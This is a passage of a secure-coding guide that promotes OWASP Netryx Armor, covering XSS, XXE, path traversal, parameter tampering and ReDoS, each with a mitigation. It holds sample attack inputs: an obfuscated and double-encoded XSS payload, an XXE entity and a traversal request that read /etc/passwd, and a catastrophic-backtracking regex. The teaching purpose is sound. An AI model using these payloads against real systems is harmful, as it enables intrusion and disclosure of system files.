class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's encode it two times and pass the parameters:&lt;br&gt;
&lt;code&gt;http://example.com/?param=%253Cscript%253Elet%2520a%2520%253D%2520String.fromCharCode%253B%250Alet%2520script%2520%253D%2520a%252860%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Alet%2520code%2520%253D%2520a%252897%2529%2520%252B%2520a%2528108%2529%2520%252B%2520a%2528101%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252840%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252888%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252841%2529%253B%250Alet%2520end%2520%253D%2520a%252860%2529%2520%252B%2520a%252847%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Adocument.write%2528script%2520%252B%2520code%2520%252B%2520end%2529%253B%250A%253C%252Fscript%253E&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This already looks harder and less comprehensible, doesn't it? To further hide their intentions, attackers can use triple and quadruple encoding. When data is passed through a query, the only limit the browser has is the &lt;strong&gt;length&lt;/strong&gt; of the final query, not the level of encoding.&lt;/p&gt;
&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;XSS occurs as a result of data either being displayed at the client side without sanitization or not being validated when it comes to the server, right?&lt;/p&gt;

&lt;p&gt;So we need to do the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Validate the data when it comes into the server&lt;/li&gt;
&lt;li&gt;Sanitize the data at the moment of issuing to the client&lt;/li&gt;
&lt;li&gt;Configure a &lt;strong&gt;Content-Security&lt;/strong&gt; policy to prevent malicious scripts from being executed by limiting script sources with the use of directives&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All of this is handled by &lt;a href="https://github.com/OWASP/www-project-netryx/tree/main" rel="noopener noreferrer"&gt;OWASP Netryx Armor&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Validation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;userInput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;....&lt;/span&gt;

&lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;validate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ruleId"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;userInput&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;thenAccept&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// after validation&lt;/span&gt;
    &lt;span class="o"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sanitization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;outputHtmlData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;....;&lt;/span&gt;
&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;outputJsData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;....;&lt;/span&gt;

&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;sanitizedJsData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;js&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;JavaScriptEncoderConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;withMode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;JavaScriptEnconding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;HTML&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outputJsContent&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;sanitizedHtmlData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;html&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;encode&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outputHtmlData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OWASP Netryx Armor configures a Netty-based web server including &lt;code&gt;Content-Security&lt;/code&gt; policies right out of the box. For secure configuration of policies, it is highly recommended to refer to the &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP Cheat Sheet Series&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  XXE Injection
&lt;/h3&gt;

&lt;p&gt;Let's imagine that we provide an API for integration to partners who send us order data in XML format. Then they can view the order information from their personal dashboard.&lt;/p&gt;

&lt;p&gt;As a result, the attacker has sent us XML of the following kind:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE order [
  &amp;lt;!ELEMENT order ANY &amp;gt;&lt;/span&gt;
  &lt;span class="cp"&gt;&amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd" &amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;order&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;customer&amp;gt;&lt;/span&gt;John Doe&lt;span class="nt"&gt;&amp;lt;/customer&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;items&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/items&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/order&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the XML parser is misconfigured, the specified contents of the &lt;code&gt;/etc/passwd&lt;/code&gt; file will be written to the &lt;code&gt;&amp;lt;items&amp;gt;&lt;/code&gt; block as the injection.&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;It is important to configure our XML parser correctly and is a technique common to all programming languages:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Disable the use and loading of external DTDs (Document Type Definition)&lt;/li&gt;
&lt;li&gt;Disable processing of external generic entities&lt;/li&gt;
&lt;li&gt;Disable processing of external parametric entities
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;DocumentBuilderFactory&lt;/span&gt; &lt;span class="n"&gt;dbf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;DocumentBuilderFactory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newInstance&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="n"&gt;dbf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFeature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://apache.org/xml/features/disallow-doctype-decl"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;dbf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFeature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://xml.org/sax/features/external-general-entities"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;dbf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFeature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://xml.org/sax/features/external-parameter-entities"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;dbf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFeature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://apache.org/xml/features/nonvalidating/load-external-dtd"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Path Traversal Attack
&lt;/h3&gt;

&lt;p&gt;This is another popular problem caused by the lack of input validation, which allows files to be retrieved outside of the server's main directory.&lt;/p&gt;

&lt;p&gt;Let's imagine we are outputting some content on the server as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Controller&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FileDownloadController&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt; &lt;span class="n"&gt;rootLocation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Paths&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/var/www/files"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nd"&gt;@GetMapping&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/download"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Resource&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;download&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;@RequestParam&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"filename"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="nc"&gt;Path&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rootLocation&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;resolve&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

          &lt;span class="nc"&gt;Resource&lt;/span&gt; &lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;UrlResource&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toUri&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

          &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exists&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
              &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ok&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;notFound&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the user performed the following query:&lt;br&gt;
&lt;code&gt;GET http://your-server.com/download?filename=../../../../etc/passwd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;According to the code, the final path will be &lt;code&gt;/var/www/files/../../../../etc/passwd&lt;/code&gt;, which is equivalent to &lt;code&gt;/etc/passwd&lt;/code&gt;. This now means if the server has permissions to traverse to this directory, will output &lt;strong&gt;the entire etc/passwd file.&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;Mitigation, as I'm sure you've already guessed, is quite simple. All you need to do is &lt;strong&gt;normalize&lt;/strong&gt; the final path and check if you are within the correct directory.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/OWASP/www-project-netryx" rel="noopener noreferrer"&gt;OWASP Netryx Armor&lt;/a&gt; allows you to customize the desired directory and validate the resulting directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;armor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;validator&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;validate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;finalPath&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Parameter Tampering
&lt;/h3&gt;

&lt;p&gt;Let's imagine we are running our own e-commerce site. A user places an order for $100 on their personal credit card. To the server, a typical transaction would look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://sample.com/checkout"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"merchant_id"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"123456"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"order_id"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"78910"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"100.00"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"currency"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"USD"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"cardNumber"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Card number:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cardNumber"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"cardNumber"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"cardExpiry"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Expires:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cardExpiry"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"cardExpiry"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"cardCVC"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;CVC:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cardCVC"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"cardCVC"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="c"&gt;&amp;lt;!--Other fields--&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Pay&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How does e-commerce work once that message is submitted? A user submits an order with a webhook enabled form. This form communicates order details, user data and payment data (see above) back to the merchant's server. The merchant's server then sends a message back to the user with a message like "Thanks for submitting your order!" but behind the scenes, the status message typically looks like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"order_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"78910"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"merchant_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"123456"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;...other&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;fields&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="nl"&gt;"signature"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"abcdefghijklmn...xyz"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What if the $100 order could turn into one that was only $1.00? This attack could be accomplished via changing the order cost with developer tools on an insecure form where &lt;strong&gt;input validation&lt;/strong&gt; fails yet still submits the order. In this described attack scenario, the server will still receive a notification with the status &lt;code&gt;success&lt;/code&gt;, but the purchase amount will be different.&lt;/p&gt;

&lt;p&gt;If the server does not check the &lt;strong&gt;integrity&lt;/strong&gt; of data that can be changed by the user, it will lead to a &lt;code&gt;Parameter Tampering&lt;/code&gt; attack. A &lt;code&gt;signature&lt;/code&gt; is provided for verification on the service side. This can apply not only to fields that the user submits via forms, but also to cookie values, headers, etc.&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;Data that depends on user input and whose authenticity cannot be guaranteed, often due to dependency on external services beyond our control, requires protection using HMAC or digital signatures.&lt;/p&gt;

&lt;p&gt;Imagine if you issued JWT tokens without signatures. Any user could decode the token, replace the parameters in it with their own and send them to the server.&lt;/p&gt;

&lt;p&gt;If you will be using digital signatures, in the &lt;strong&gt;Secure Cryptography&lt;/strong&gt; section we'll look at which algorithms are the best choice right now.&lt;/p&gt;

&lt;h3&gt;
  
  
  ReDoS &amp;amp; RegEx Injection.
&lt;/h3&gt;

&lt;p&gt;In many scenarios, we've discussed syntax validation, where we verify that the data actually conforms to the format we need. One of the most popular methods for format validation are &lt;strong&gt;RegEx&lt;/strong&gt; expressions.&lt;/p&gt;

&lt;p&gt;When a regular expression tries to find a match in a string, it uses a mechanism called &lt;strong&gt;back-tracking&lt;/strong&gt;. This means that the regex “tries” different combinations to match the pattern to the text, and if something doesn't match, it goes back and tries another path.&lt;/p&gt;

&lt;p&gt;If our regex contains constructs that cause excessive backtracking, it will cause the process to take a very long time to complete. This is often due to the use of &lt;strong&gt;greedy quantifiers&lt;/strong&gt;: &lt;code&gt;+, *&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let's not go far and consider the following popular regex: &lt;code&gt;^(a+)+&lt;/code&gt; with matching the following text: &lt;code&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX&lt;/code&gt;.&lt;br&gt;
We have 2 nested greedy quantifiers here, which forces the RegEx engine to split the sequence from &lt;code&gt;a&lt;/code&gt; into groups in every possible way. As a result, the number of checks we have starts to grow exponentially with each addition of &lt;code&gt;a&lt;/code&gt;, and we will have a full match time of more than 30 seconds.&lt;/p&gt;
&lt;h4&gt;
  
  
  Example of injection
&lt;/h4&gt;

&lt;p&gt;Let's imagine that we give users the ability to protect their social media groups from spam comments by giving them the ability to add their own regular expressions to filter messages.&lt;/p&gt;

&lt;p&gt;If an attacker adds a regular but malicious expression, and writes a post with a lot of backtracking, it will cause the processing flow to stall.&lt;/p&gt;
&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;The easiest and most effective way to defend against this attack is to limit the &lt;strong&gt;time&lt;/strong&gt; of execution of the regular expression. This is done simply by running the validation process in a separate thread (or virtual thread) and specifying the operation timeout.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/OWASP/www-project-netryx" rel="noopener noreferrer"&gt;OWASP Netryx Armor&lt;/a&gt; validator is resistant to this type of attack.&lt;/p&gt;
&lt;h2&gt;
  
  
  Access Control
&lt;/h2&gt;

&lt;p&gt;Access control primarily involves &lt;strong&gt;authenticating&lt;/strong&gt; the user (simply put, identifying &lt;strong&gt;who&lt;/strong&gt; has the access) and &lt;strong&gt;authorizing&lt;/strong&gt; them (whether they have the right to access us). &lt;strong&gt;Broken Access Control&lt;/strong&gt; is the top #1 vulnerability that is found in applications in one way or another.&lt;/p&gt;

&lt;p&gt;Before we look at the types of access controls, let's first establish one important rule: &lt;strong&gt;All endpoints must be protected out of the box, and public endpoints must be explicitly specified, not the other way around&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  MAC
&lt;/h3&gt;

&lt;p&gt;MAC (&lt;strong&gt;Mandatory Access Control&lt;/strong&gt;) is a strict access control model where policies are defined by the system and cannot be changed by users under any circumstances to avoid accidental or malicious escalation of rights.&lt;/p&gt;

&lt;p&gt;Typically, in MAC we set the type of protected object, and a &lt;strong&gt;security level label&lt;/strong&gt;. Government agencies, for example, typically use labels like &lt;strong&gt;TOP SECRET&lt;/strong&gt;, &lt;strong&gt;SECRET&lt;/strong&gt;, &lt;strong&gt;CONFIDENTIAL&lt;/strong&gt;, and &lt;strong&gt;UNCLASSIFIED&lt;/strong&gt;.&lt;/p&gt;

